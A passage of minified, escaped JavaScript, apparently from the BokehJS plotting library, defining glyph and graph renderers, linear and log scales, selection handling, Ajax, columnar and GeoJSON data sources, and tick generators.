o.CDSView}],glyph:[s.Instance],hover_glyph:[s.Instance],nonselection_glyph:[s.Any,\\\"auto\\\"],selection_glyph:[s.Any,\\\"auto\\\"],muted_glyph:[s.Instance],muted:[s.Bool,!1]}),this.override({level:\\\"glyph\\\"})},t.prototype.initialize=function(){e.prototype.initialize.call(this),null==this.view.source&&(this.view.source=this.data_source,this.view.compute_indices())},t.prototype.get_reference_point=function(t,e){var i=0;if(null!=t){var n=this.data_source.get_column(t);if(null!=n){var r=a.indexOf(n,e);-1!=r&&(i=r)}}return i},t.prototype.get_selection_manager=function(){return this.data_source.selection_manager},t}(r.Renderer);(i.GlyphRenderer=u).initClass()},function(t,e,i){var n=t(391),r=t(189),o=t(147),s=t(15),l=t(4),a=function(a){function t(){return null!==a&&a.apply(this,arguments)||this}return n.__extends(t,a),t.prototype.initialize=function(t){var e;a.prototype.initialize.call(this,t),this.xscale=this.plot_view.frame.xscales.default,this.yscale=this.plot_view.frame.yscales.default,this._renderer_views={},e=l.build_views(this._renderer_views,[this.model.node_renderer,this.model.edge_renderer],this.plot_view.view_options()),this.node_view=e[0],this.edge_view=e[1],this.set_data()},t.prototype.connect_signals=function(){var t=this;a.prototype.connect_signals.call(this),this.connect(this.model.layout_provider.change,function(){return t.set_data()}),this.connect(this.model.node_renderer.data_source._select,function(){return t.set_data()}),this.connect(this.model.node_renderer.data_source.inspect,function(){return t.set_data()}),this.connect(this.model.node_renderer.data_source.change,function(){return t.set_data()}),this.connect(this.model.edge_renderer.data_source._select,function(){return t.set_data()}),this.connect(this.model.edge_renderer.data_source.inspect,function(){return t.set_data()}),this.connect(this.model.edge_renderer.data_source.change,function(){return t.set_data()});var e=this.plot_model.frame,i=e.x_ranges,n=e.y_ranges;for(var r in i){var o=i[r];this.connect(o.change,function(){return t.set_data()})}for(var s in n){var o=n[s];this.connect(o.change,function(){return t.set_data()})}},t.prototype.set_data=function(t){var e,i;void 0===t&&(t=!0),this.node_view.glyph.model.setv({x_range_name:this.model.x_range_name,y_range_name:this.model.y_range_name},{silent:!0}),this.edge_view.glyph.model.setv({x_range_name:this.model.x_range_name,y_range_name:this.model.y_range_name},{silent:!0});var n=this.node_view.glyph;e=this.model.layout_provider.get_node_coordinates(this.model.node_renderer.data_source),n._x=e[0],n._y=e[1];var r=this.edge_view.glyph;i=this.model.layout_provider.get_edge_coordinates(this.model.edge_renderer.data_source),r._xs=i[0],r._ys=i[1],n.index_data(),r.index_data(),t&&this.request_render()},t.prototype.render=function(){this.edge_view.render(),this.node_view.render()},t}(r.RendererView);i.GraphRendererView=a;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GraphRenderer\\\",this.prototype.default_view=a,this.define({x_range_name:[s.String,\\\"default\\\"],y_range_name:[s.String,\\\"default\\\"],layout_provider:[s.Instance],node_renderer:[s.Instance],edge_renderer:[s.Instance],selection_policy:[s.Instance,function(){return new o.NodesOnly}],inspection_policy:[s.Instance,function(){return new o.NodesOnly}]}),this.override({level:\\\"glyph\\\"})},t.prototype.get_selection_manager=function(){return this.node_renderer.data_source.selection_manager},t}(r.Renderer);(i.GraphRenderer=h).initClass()},function(t,e,i){var n=t(391),r=t(189),o=t(15),s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.RendererView);i.GuideRendererView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GuideRenderer\\\",this.define({plot:[o.Instance]}),this.override({level:\\\"overlay\\\"})},t}(r.Renderer);(i.GuideRenderer=a).initClass()},function(t,e,i){var n=t(185);i.GlyphRenderer=n.GlyphRenderer;var r=t(186);i.GraphRenderer=r.GraphRenderer;var o=t(187);i.GuideRenderer=o.GuideRenderer;var s=t(189);i.Renderer=s.Renderer},function(t,e,i){var n=t(391),r=t(6),o=t(49),s=t(15),a=t(59),l=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.plot_view=t.plot_view,this.visuals=new o.Visuals(this.model),this._has_finished=!0},Object.defineProperty(t.prototype,\\\"plot_model\\\",{get:function(){return this.plot_view.model},enumerable:!0,configurable:!0}),t.prototype.request_render=function(){this.plot_view.request_render()},t.prototype.map_to_screen=function(t,e){return this.plot_view.map_to_screen(t,e,this.model.x_range_name,this.model.y_range_name)},Object.defineProperty(t.prototype,\\\"needs_clip\\\",{get:function(){return!1},enumerable:!0,configurable:!0}),t}(r.DOMView);i.RendererView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Renderer\\\",this.define({level:[s.RenderLevel],visible:[s.Bool,!0]})},t}(a.Model);(i.Renderer=h).initClass()},function(t,e,i){var n=t(391),r=t(192),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CategoricalScale\\\"},t.prototype.compute=function(t){return e.prototype.compute.call(this,this.source_range.synthetic(t))},t.prototype.v_compute=function(t){return e.prototype.v_compute.call(this,this.source_range.v_synthetic(t))},t}(r.LinearScale);(i.CategoricalScale=o).initClass()},function(t,e,i){var n=t(190);i.CategoricalScale=n.CategoricalScale;var r=t(192);i.LinearScale=r.LinearScale;var o=t(193);i.LogScale=o.LogScale;var s=t(194);i.Scale=s.Scale},function(t,e,i){var n=t(391),r=t(194),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LinearScale\\\"},t.prototype.compute=function(t){var e=this._compute_state(),i=e[0],n=e[1];return i*t+n},t.prototype.v_compute=function(t){for(var e=this._compute_state(),i=e[0],n=e[1],r=new Float64Array(t.length),o=0;o<t.length;o++)r[o]=i*t[o]+n;return r},t.prototype.invert=function(t){var e=this._compute_state(),i=e[0],n=e[1];return(t-n)/i},t.prototype.v_invert=function(t){for(var e=this._compute_state(),i=e[0],n=e[1],r=new Float64Array(t.length),o=0;o<t.length;o++)r[o]=(t[o]-n)/i;return r},t.prototype._compute_state=function(){var t=this.source_range.start,e=this.source_range.end,i=this.target_range.start,n=this.target_range.end,r=(n-i)/(e-t),o=-r*t+i;return[r,o]},t}(r.Scale);(i.LinearScale=o).initClass()},function(t,e,i){var n=t(391),r=t(194),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LogScale\\\"},t.prototype.compute=function(t){var e,i=this._compute_state(),n=i[0],r=i[1],o=i[2],s=i[3];if(0==o)e=0;else{var a=(Math.log(t)-s)/o;e=isFinite(a)?a*n+r:NaN}return e},t.prototype.v_compute=function(t){var e=this._compute_state(),i=e[0],n=e[1],r=e[2],o=e[3],s=new Float64Array(t.length);if(0==r)for(var a=0;a<t.length;a++)s[a]=0;else for(var a=0;a<t.length;a++){var l=(Math.log(t[a])-o)/r,h=void 0;h=isFinite(l)?l*i+n:NaN,s[a]=h}return s},t.prototype.invert=function(t){var e=this._compute_state(),i=e[0],n=e[1],r=e[2],o=e[3],s=(t-n)/i;return Math.exp(r*s+o)},t.prototype.v_invert=function(t){for(var e=this._compute_state(),i=e[0],n=e[1],r=e[2],o=e[3],s=new Float64Array(t.length),a=0;a<t.length;a++){var l=(t[a]-n)/i;s[a]=Math.exp(r*l+o)}return s},t.prototype._get_safe_factor=function(t,e){var i,n=t<0?0:t,r=e<0?0:e;if(n==r)if(0==n)n=(i=[1,10])[0],r=i[1];else{var o=Math.log(n)/Math.log(10);n=Math.pow(10,Math.floor(o)),r=Math.ceil(o)!=Math.floor(o)?Math.pow(10,Math.ceil(o)):Math.pow(10,Math.ceil(o)+1)}return[n,r]},t.prototype._compute_state=function(){var t,e,i=this.source_range.start,n=this.source_range.end,r=this.target_range.start,o=this.target_range.end,s=o-r,a=this._get_safe_factor(i,n),l=a[0],h=a[1];0==l?(t=Math.log(h),e=0):(t=Math.log(h)-Math.log(l),e=Math.log(l));var u=s,c=r;return[u,c,t,e]},t}(r.Scale);(i.LogScale=o).initClass()},function(t,e,i){var n=t(391),r=t(274),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Scale\\\",this.internal({source_range:[o.Any],target_range:[o.Any]})},t.prototype.r_compute=function(t,e){return this.target_range.is_reversed?[this.compute(e),this.compute(t)]:[this.compute(t),this.compute(e)]},t.prototype.r_invert=function(t,e){return this.target_range.is_reversed?[this.invert(e),this.invert(t)]:[this.invert(t),this.invert(e)]},t}(r.Transform);(i.Scale=s).initClass()},function(t,e,i){var n=t(391);n.__exportStar(t(196),i);var r=t(197);i.Selection=r.Selection},function(t,e,i){var n=t(391),r=t(59),o=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.do_selection=function(t,e,i,n){return null!==t&&(e.selected.update(t,i,n),e._select.emit(),!e.selected.is_empty())},e}(r.Model);(i.SelectionPolicy=o).prototype.type=\\\"SelectionPolicy\\\";var s=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.hit_test=function(t,e){for(var i=[],n=0,r=e;n<r.length;n++){var o=r[n],s=o.hit_test(t);null!==s&&i.push(s)}if(0<i.length){for(var a=i[0],l=0,h=i;l<h.length;l++){var u=h[l];a.update_through_intersection(u)}return a}return null},e}(o);(i.IntersectRenderers=s).prototype.type=\\\"IntersectRenderers\\\";var a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype.hit_test=function(t,e){for(var i=[],n=0,r=e;n<r.length;n++){var o=r[n],s=o.hit_test(t);null!==s&&i.push(s)}if(0<i.length){for(var a=i[0],l=0,h=i;l<h.length;l++){var u=h[l];a.update_through_union(u)}return a}return null},e}(o);(i.UnionRenderers=a).prototype.type=\\\"UnionRenderers\\\"},function(t,e,i){var n=t(391),r=t(59),o=t(15),s=t(21),a=t(32),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Selection\\\",this.define({indices:[o.Array,[]],line_indices:[o.Array,[]],multiline_indices:[o.Any,{}]}),this.internal({final:[o.Boolean],selected_glyphs:[o.Array,[]],get_view:[o.Any],image_indices:[o.Array,[]]})},t.prototype.initialize=function(){var t=this;e.prototype.initialize.call(this),this[\\\"0d\\\"]={glyph:null,indices:[],flag:!1,get_view:function(){return null}},this[\\\"2d\\\"]={indices:{}},this[\\\"1d\\\"]={indices:this.indices},this.get_view=function(){return null},this.connect(this.properties.indices.change,function(){return t[\\\"1d\\\"].indices=t.indices}),this.connect(this.properties.line_indices.change,function(){t[\\\"0d\\\"].indices=t.line_indices,0==t.line_indices.length?t[\\\"0d\\\"].flag=!1:t[\\\"0d\\\"].flag=!0}),this.connect(this.properties.selected_glyphs.change,function(){return t[\\\"0d\\\"].glyph=t.selected_glyph}),this.connect(this.properties.get_view.change,function(){return t[\\\"0d\\\"].get_view=t.get_view}),this.connect(this.properties.multiline_indices.change,function(){return t[\\\"2d\\\"].indices=t.multiline_indices})},Object.defineProperty(t.prototype,\\\"selected_glyph\\\",{get:function(){return 0<this.selected_glyphs.length?this.selected_glyphs[0]:null},enumerable:!0,configurable:!0}),t.prototype.add_to_selected_glyphs=function(t){this.selected_glyphs.push(t)},t.prototype.update=function(t,e,i){this.final=e,i?this.update_through_union(t):(this.indices=t.indices,this.line_indices=t.line_indices,this.selected_glyphs=t.selected_glyphs,this.get_view=t.get_view,this.multiline_indices=t.multiline_indices,this.image_indices=t.image_indices)},t.prototype.clear=function(){this.final=!0,this.indices=[],this.line_indices=[],this.multiline_indices={},this.get_view=function(){return null},this.selected_glyphs=[]},t.prototype.is_empty=function(){return 0==this.indices.length&&0==this.line_indices.length&&0==this.image_indices.length},t.prototype.update_through_union=function(t){this.indices=s.union(t.indices,this.indices),this.selected_glyphs=s.union(t.selected_glyphs,this.selected_glyphs),this.line_indices=s.union(t.line_indices,this.line_indices),this.get_view()||(this.get_view=t.get_view),this.multiline_indices=a.merge(t.multiline_indices,this.multiline_indices)},t.prototype.update_through_intersection=function(t){this.indices=s.intersection(t.indices,this.indices),this.selected_glyphs=s.union(t.selected_glyphs,this.selected_glyphs),this.line_indices=s.union(t.line_indices,this.line_indices),this.get_view()||(this.get_view=t.get_view),this.multiline_indices=a.merge(t.multiline_indices,this.multiline_indices)},t}(r.Model);(i.Selection=l).initClass()},function(t,e,i){var n=t(391),r=t(205),o=t(14),_=t(44),s=t(15),a=function(i){function t(t){var e=i.call(this,t)||this;return e.initialized=!1,e}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"AjaxDataSource\\\",this.define({mode:[s.String,\\\"replace\\\"],content_type:[s.String,\\\"application/json\\\"],adapter:[s.Any],http_headers:[s.Any,{}],max_size:[s.Number],method:[s.String,\\\"POST\\\"],if_modified:[s.Bool,!1]})},t.prototype.destroy=function(){null!=this.interval&&clearInterval(this.interval),i.prototype.destroy.call(this)},t.prototype.setup=function(){var t=this;!this.initialized&&(this.initialized=!0,this.get_data(this.mode),this.polling_interval)&&(this.interval=setInterval(function(){return t.get_data(t.mode,t.max_size,t.if_modified)},this.polling_interval))},t.prototype.get_data=function(t,e,i){var n=this;void 0===e&&(e=0),void 0===i&&(i=!1);var r=this.prepare_request();r.addEventListener(\\\"load\\\",function(){return n.do_load(r,t,e)}),r.addEventListener(\\\"error\\\",function(){return n.do_error(r)}),r.send()},t.prototype.prepare_request=function(){var t=new XMLHttpRequest;t.open(this.method,this.data_url,!0),t.withCredentials=!1,t.setRequestHeader(\\\"Content-Type\\\",this.content_type);var e=this.http_headers;for(var i in e){var n=e[i];t.setRequestHeader(i,n)}return t},t.prototype.do_load=function(t,e,i){if(200===t.status){var n=JSON.parse(t.responseText),r=this.adapter,o={};switch(o=null!=r?_.isFunction(r)?r(this,{response:n}):r.execute(this,{response:n}):n,e){case\\\"replace\\\":this.data=o;break;case\\\"append\\\":for(var s=this.data,a=0,l=this.columns();a<l.length;a++){var h=l[a],u=Array.from(s[h]),c=Array.from(o[h]);o[h]=u.concat(c).slice(-i)}this.data=o}}},t.prototype.do_error=function(t){o.logger.error(\\\"Failed to fetch JSON from \\\"+this.data_url+\\\" with code \\\"+t.status)},t}(r.RemoteDataSource);(i.AjaxDataSource=a).initClass()},function(t,e,i){var n=t(391),r=t(59),o=t(15),s=t(197),a=t(21),l=t(201),h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CDSView\\\",this.define({filters:[o.Array,[]],source:[o.Instance]}),this.internal({indices:[o.Array,[]],indices_map:[o.Any,{}]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.compute_indices()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.properties.filters.change,function(){t.compute_indices(),t.change.emit()}),null!=this.source&&(null!=this.source.change&&this.connect(this.source.change,function(){return t.compute_indices()}),null!=this.source.streaming&&this.connect(this.source.streaming,function(){return t.compute_indices()}),null!=this.source.patching&&this.connect(this.source.patching,function(){return t.compute_indices()}))},t.prototype.compute_indices=function(){var e=this,r=this.filters.map(function(t){return t.compute_indices(e.source)});0<(r=function(){for(var t=[],e=0,i=r;e<i.length;e++){var n=i[e];null!=n&&t.push(n)}return t}()).length?this.indices=a.intersection.apply(this,r):this.source instanceof l.ColumnarDataSource&&(this.indices=this.source.get_indices()),this.indices_map_to_subset()},t.prototype.indices_map_to_subset=function(){this.indices_map={};for(var t=0;t<this.indices.length;t++)this.indices_map[this.indices[t]]=t},t.prototype.convert_selection_from_subset=function(t){var e=this,i=new s.Selection;i.update_through_union(t);var n=t.indices.map(function(t){return e.indices[t]});return i.indices=n,i.image_indices=t.image_indices,i},t.prototype.convert_selection_to_subset=function(t){var e=this,i=new s.Selection;i.update_through_union(t);var n=t.indices.map(function(t){return e.indices_map[t]});return i.indices=n,i.image_indices=t.image_indices,i},t.prototype.convert_indices_from_subset=function(t){var e=this;return t.map(function(t){return e.indices[t]})},t}(r.Model);(i.CDSView=h).initClass()},function(t,e,i){var n=t(391),r=t(201),o=t(8),s=t(15),k=t(29),h=t(36),S=t(44),u=t(43),c=t(32),a=t(51);function _(t,e,i){if(S.isArray(t)){var n=t.concat(e);return null!=i&&n.length>i?n.slice(-i):n}if(S.isTypedArray(t)){var r=t.length+e.length;if(null!=i&&i<r){var o=r-i,s=t.length,n=void 0;t.length<i?(n=new t.constructor(i)).set(t,0):n=t;for(var a=o,l=s;a<l;a++)n[a-o]=n[a];for(var a=0,l=e.length;a<l;a++)n[a+(s-o)]=e[a];return n}var h=new t.constructor(e);return u.concat(t,h)}throw new Error(\\\"unsupported array types\\\")}function C(t,e){var i,n,r;return S.isNumber(t)?(r=(i=t)+1,n=1):(i=null!=t.start?t.start:0,r=null!=t.stop?t.stop:e,n=null!=t.step?t.step:1),[i,r,n]}function p(t,e,i){for(var n=new k.Set,r=!1,o=0,s=e;o<s.length;o++){var a=s[o],l=a[0],h=a[1],u=void 0,c=void 0;if(S.isArray(l)){var _=l[0];n.add(_),c=i[_],u=t[_]}else S.isNumber(l)?(h=[h],n.add(l)):r=!0,l=[0,0,l],c=[1,t.length],u=t;2===l.length&&(c=[1,c[0]],l=[l[0],0,l[1]]);for(var p=0,d=C(l[1],c[0]),f=d[0],v=d[1],m=d[2],g=C(l[2],c[1]),y=g[0],b=g[1],x=g[2],_=f;_<v;_+=m)for(var w=y;w<b;w+=x)r&&n.add(w),u[_*c[1]+w]=h[p],p++}return n}i.stream_to_column=_,i.slice=C,i.patch_to_column=p;var l=function(e){function l(t){return e.call(this,t)||this}return n.__extends(l,e),l.initClass=function(){this.prototype.type=\\\"ColumnDataSource\\\",this.define({data:[s.Any,{}]})},l.prototype.initialize=function(){var t;e.prototype.initialize.call(this),t=h.decode_column_data(this.data),this.data=t[0],this._shapes=t[1]},l.prototype.attributes_as_json=function(t,e){void 0===t&&(t=!0),void 0===e&&(e=l._value_to_json);for(var i={},n=this.serializable_attributes(),r=0,o=c.keys(n);r<o.length;r++){var s=o[r],a=n[s];\\\"data\\\"===s&&(a=h.encode_column_data(a,this._shapes)),t?i[s]=a:s in this._set_after_defaults&&(i[s]=a)}return e(\\\"attributes\\\",i,this)},l._value_to_json=function(t,e,i){return S.isPlainObject(e)&&\\\"data\\\"===t?h.encode_column_data(e,i._shapes):o.HasProps._value_to_json(t,e,i)},l.prototype.stream=function(t,e,i){var n=this.data;for(var r in t)n[r]=_(n[r],t[r],e);if(this.setv({data:n},{silent:!0}),this.streaming.emit(),null!=this.document){var o=new a.ColumnsStreamedEvent(this.document,this.ref(),t,e);this.document._notify_change(this,\\\"data\\\",null,null,{setter_id:i,hint:o})}},l.prototype.patch=function(t,e){var i=this.data,n=new k.Set;for(var r in t){var o=t[r];n=n.union(p(i[r],o,this._shapes[r]))}if(this.setv({data:i},{silent:!0}),this.patching.emit(n.values),null!=this.document){var s=new a.ColumnsPatchedEvent(this.document,this.ref(),t);this.document._notify_change(this,\\\"data\\\",null,null,{setter_id:e,hint:s})}},l}(r.ColumnarDataSource);(i.ColumnDataSource=l).initClass()},function(t,e,i){var n=t(391),r=t(202),o=t(19),s=t(14),a=t(17),l=t(15),h=t(44),u=t(21),c=t(32),_=t(197),p=t(196),d=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.prototype.get_array=function(t){var e=this.data[t];return null==e?this.data[t]=e=[]:h.isArray(e)||(this.data[t]=e=Array.from(e)),e},t.initClass=function(){this.prototype.type=\\\"ColumnarDataSource\\\",this.define({selection_policy:[l.Instance,function(){return new p.UnionRenderers}]}),this.internal({selection_manager:[l.Instance,function(t){return new a.SelectionManager({source:t})}],inspected:[l.Instance,function(){return new _.Selection}],_shapes:[l.Any,{}]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._select=new o.Signal0(this,\\\"select\\\"),this.inspect=new o.Signal(this,\\\"inspect\\\"),this.streaming=new o.Signal0(this,\\\"streaming\\\"),this.patching=new o.Signal(this,\\\"patching\\\")},t.prototype.get_column=function(t){var e=this.data[t];return null!=e?e:null},t.prototype.columns=function(){return c.keys(this.data)},t.prototype.get_length=function(t){void 0===t&&(t=!0);var e=u.uniq(c.values(this.data).map(function(t){return t.length}));switch(e.length){case 0:return null;case 1:return e[0];default:var i=\\\"data source has columns of inconsistent lengths\\\";if(t)return s.logger.warn(i),e.sort()[0];throw new Error(i)}},t.prototype.get_indices=function(){var t=this.get_length();return u.range(0,null!=t?t:1)},t.prototype.clear=function(){for(var t={},e=0,i=this.columns();e<i.length;e++){var n=i[e];t[n]=new this.data[n].constructor}this.data=t},t}(r.DataSource);(i.ColumnarDataSource=d).initClass()},function(t,e,i){var n=t(391),r=t(59),o=t(15),s=t(44),a=t(197),l=function(i){function t(t){return i.call(this,t)||this}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"DataSource\\\",this.define({selected:[o.Instance,function(){return new a.Selection}],callback:[o.Any]})},t.prototype.connect_signals=function(){var e=this;i.prototype.connect_signals.call(this),this.connect(this.properties.selected.change,function(){var t=e.callback;null!=t&&(s.isFunction(t)?t(e):t.execute(e))})},t}(r.Model);(i.DataSource=l).initClass()},function(t,e,i){var n=t(391),r=t(201),b=t(14),o=t(15),s=t(21),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"GeoJSONDataSource\\\",this.define({geojson:[o.Any]}),this.internal({data:[o.Any,{}]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._update_data()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.properties.geojson.change,function(){return t._update_data()})},t.prototype._update_data=function(){this.data=this.geojson_to_column_data()},t.prototype._get_new_list_array=function(t){return s.range(0,t).map(function(t){return[]})},t.prototype._get_new_nan_array=function(t){return s.range(0,t).map(function(t){return NaN})},t.prototype._add_properties=function(t,e,i,n){var r=t.properties||{};for(var o in r)e.hasOwnProperty(o)||(e[o]=this._get_new_nan_array(n)),e[o][i]=r[o]},t.prototype._add_geometry=function(t,e,i){function n(t){return null!=t?t:NaN}function r(t,e){return t.concat([[NaN,NaN,NaN]]).concat(e)}switch(t.type){case\\\"Point\\\":var o=t.coordinates,s=o[0],a=o[1],l=o[2];e.x[i]=s,e.y[i]=a,e.z[i]=n(l);break;case\\\"LineString\\\":for(var h=t.coordinates,u=0;u<h.length;u++){var c=h[u],s=c[0],a=c[1],l=c[2];e.xs[i][u]=s,e.ys[i][u]=a,e.zs[i][u]=n(l)}break;case\\\"Polygon\\\":1<t.coordinates.length&&b.logger.warn(\\\"Bokeh does not support Polygons with holes in, only exterior ring used.\\\");for(var _=t.coordinates[0],u=0;u<_.length;u++){var p=_[u],s=p[0],a=p[1],l=p[2];e.xs[i][u]=s,e.ys[i][u]=a,e.zs[i][u]=n(l)}break;case\\\"MultiPoint\\\":b.logger.warn(\\\"MultiPoint not supported in Bokeh\\\");break;case\\\"MultiLineString\\\":for(var h=t.coordinates.reduce(r),u=0;u<h.length;u++){var d=h[u],s=d[0],a=d[1],l=d[2];e.xs[i][u]=s,e.ys[i][u]=a,e.zs[i][u]=n(l)}break;case\\\"MultiPolygon\\\":for(var f=[],v=0,m=t.coordinates;v<m.length;v++){var g=m[v];1<g.length&&b.logger.warn(\\\"Bokeh does not support Polygons with holes in, only exterior ring used.\\\"),f.push(g[0])}for(var h=f.reduce(r),u=0;u<h.length;u++){var y=h[u],s=y[0],a=y[1],l=y[2];e.xs[i][u]=s,e.ys[i][u]=a,e.zs[i][u]=n(l)}break;default:throw new Error(\\\"Invalid GeoJSON geometry type: \\\"+t.type)}},t.prototype.geojson_to_column_data=function(){var t,e=JSON.parse(this.geojson);switch(e.type){case\\\"GeometryCollection\\\":if(null==e.geometries)throw new Error(\\\"No geometries found in GeometryCollection\\\");if(0===e.geometries.length)throw new Error(\\\"geojson.geometries must have one or more items\\\");t=e.geometries;break;case\\\"FeatureCollection\\\":if(null==e.features)throw new Error(\\\"No features found in FeaturesCollection\\\");if(0==e.features.length)throw new Error(\\\"geojson.features must have one or more items\\\");t=e.features;break;default:throw new Error(\\\"Bokeh only supports type GeometryCollection and FeatureCollection at top level\\\")}for(var i=0,n=0,r=t;n<r.length;n++){var o=r[n],s=\\\"Feature\\\"===o.type?o.geometry:o;\\\"GeometryCollection\\\"==s.type?i+=s.geometries.length:i+=1}for(var a={x:this._get_new_nan_array(i),y:this._get_new_nan_array(i),z:this._get_new_nan_array(i),xs:this._get_new_list_array(i),ys:this._get_new_list_array(i),zs:this._get_new_list_array(i)},l=0,h=0,u=t;h<u.length;h++){var o=u[h],s=\\\"Feature\\\"==o.type?o.geometry:o;if(\\\"GeometryCollection\\\"==s.type)for(var c=0,_=s.geometries;c<_.length;c++){var p=_[c];this._add_geometry(p,a,l),\\\"Feature\\\"===o.type&&this._add_properties(o,a,l,i),l+=1}else this._add_geometry(s,a,l),\\\"Feature\\\"===o.type&&this._add_properties(o,a,l,i),l+=1}return a},t}(r.ColumnarDataSource);(i.GeoJSONDataSource=a).initClass()},function(t,e,i){var n=t(198);i.AjaxDataSource=n.AjaxDataSource;var r=t(200);i.ColumnDataSource=r.ColumnDataSource;var o=t(201);i.ColumnarDataSource=o.ColumnarDataSource;var s=t(199);i.CDSView=s.CDSView;var a=t(202);i.DataSource=a.DataSource;var l=t(203);i.GeoJSONDataSource=l.GeoJSONDataSource;var h=t(205);i.RemoteDataSource=h.RemoteDataSource},function(t,e,i){var n=t(391),r=t(200),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.prototype.get_column=function(t){var e=this.data[t];return null!=e?e:[]},t.prototype.initialize=function(){e.prototype.initialize.call(this),this.setup()},t.initClass=function(){this.prototype.type=\\\"RemoteDataSource\\\",this.define({data_url:[o.String],polling_interval:[o.Number]})},t}(r.ColumnDataSource);(i.RemoteDataSource=s).initClass()},function(t,e,i){var n=t(391),r=t(210),o=t(15),v=t(21),s=function(i){function t(t){return i.call(this,t)||this}return n.__extends(t,i),t.initClass=function(){this.prototype.type=\\\"AdaptiveTicker\\\",this.define({base:[o.Number,10],mantissas:[o.Array,[1,2,5]],min_interval:[o.Number,0],max_interval:[o.Number]})},t.prototype.initialize=function(){i.prototype.initialize.call(this);var t=v.nth(this.mantissas,-1)/this.base,e=v.nth(this.mantissas,0)*this.base;this.extended_mantissas=[t].concat(this.mantissas,[e]),this.base_factor=0===this.get_min_interval()?1:this.get_min_interval()},t.prototype.get_interval=function(t,e,i){var n,r,o,s,a,l=e-t,h=this.get_ideal_interval(t,e,i),u=Math.floor((s=h/this.base_factor,void 0===(a=this.base)&&(a=Math.E),Math.log(s)/Math.log(a))),c=Math.pow(this.base,u)*this.base_factor,_=this.extended_mantissas,p=_.map(function(t){return Math.abs(i-l/(t*c))}),d=_[v.argmin(p)],f=d*c;return n=f,r=this.get_min_interval(),o=this.get_max_interval(),Math.max(r,Math.min(o,n))},t}(r.ContinuousTicker);(i.AdaptiveTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(206),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"BasicTicker\\\"},t}(r.AdaptiveTicker);(i.BasicTicker=o).initClass()},function(t,e,i){var n=t(391),r=t(219),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CategoricalTicker\\\"},t.prototype.get_ticks=function(t,e,i,n,r){var o=this._collect(i.factors,i,t,e),s=this._collect(i.tops||[],i,t,e),a=this._collect(i.mids||[],i,t,e);return{major:o,minor:[],tops:s,mids:a}},t.prototype._collect=function(t,e,i,n){for(var r=[],o=0,s=t;o<s.length;o++){var a=s[o],l=e.synthetic(a);i<l&&l<n&&r.push(a)}return r},t}(r.Ticker);(i.CategoricalTicker=o).initClass()},function(t,e,i){var n=t(391),r=t(210),o=t(15),c=t(21),_=t(32),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CompositeTicker\\\",this.define({tickers:[o.Array,[]]})},Object.defineProperty(t.prototype,\\\"min_intervals\\\",{get:function(){return this.tickers.map(function(t){return t.get_min_interval()})},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"max_intervals\\\",{get:function(){return this.tickers.map(function(t){return t.get_max_interval()})},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"min_interval\\\",{get:function(){return this.min_intervals[0]},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"max_interval\\\",{get:function(){return this.max_intervals[0]},enumerable:!0,configurable:!0}),t.prototype.get_best_ticker=function(t,e,i){var n,r=e-t,o=this.get_ideal_interval(t,e,i),s=[c.sortedIndex(this.min_intervals,o)-1,c.sortedIndex(this.max_intervals,o)],a=[this.min_intervals[s[0]],this.max_intervals[s[1]]],l=a.map(function(t){return Math.abs(i-r/t)});if(_.isEmpty(l.filter(function(t){return!isNaN(t)})))n=this.tickers[0];else{var h=c.argmin(l),u=s[h];n=this.tickers[u]}return n},t.prototype.get_interval=function(t,e,i){var n=this.get_best_ticker(t,e,i);return n.get_interval(t,e,i)},t.prototype.get_ticks_no_defaults=function(t,e,i,n){var r=this.get_best_ticker(t,e,n);return r.get_ticks_no_defaults(t,e,i,n)},t}(r.ContinuousTicker);(i.CompositeTicker=s).initClass()},function(t,e,i){var n=t(391),r=t(219),o=t(15),x=t(21),w=t(44),s=function(e){function t(t){return e.call(this,t)||this}return 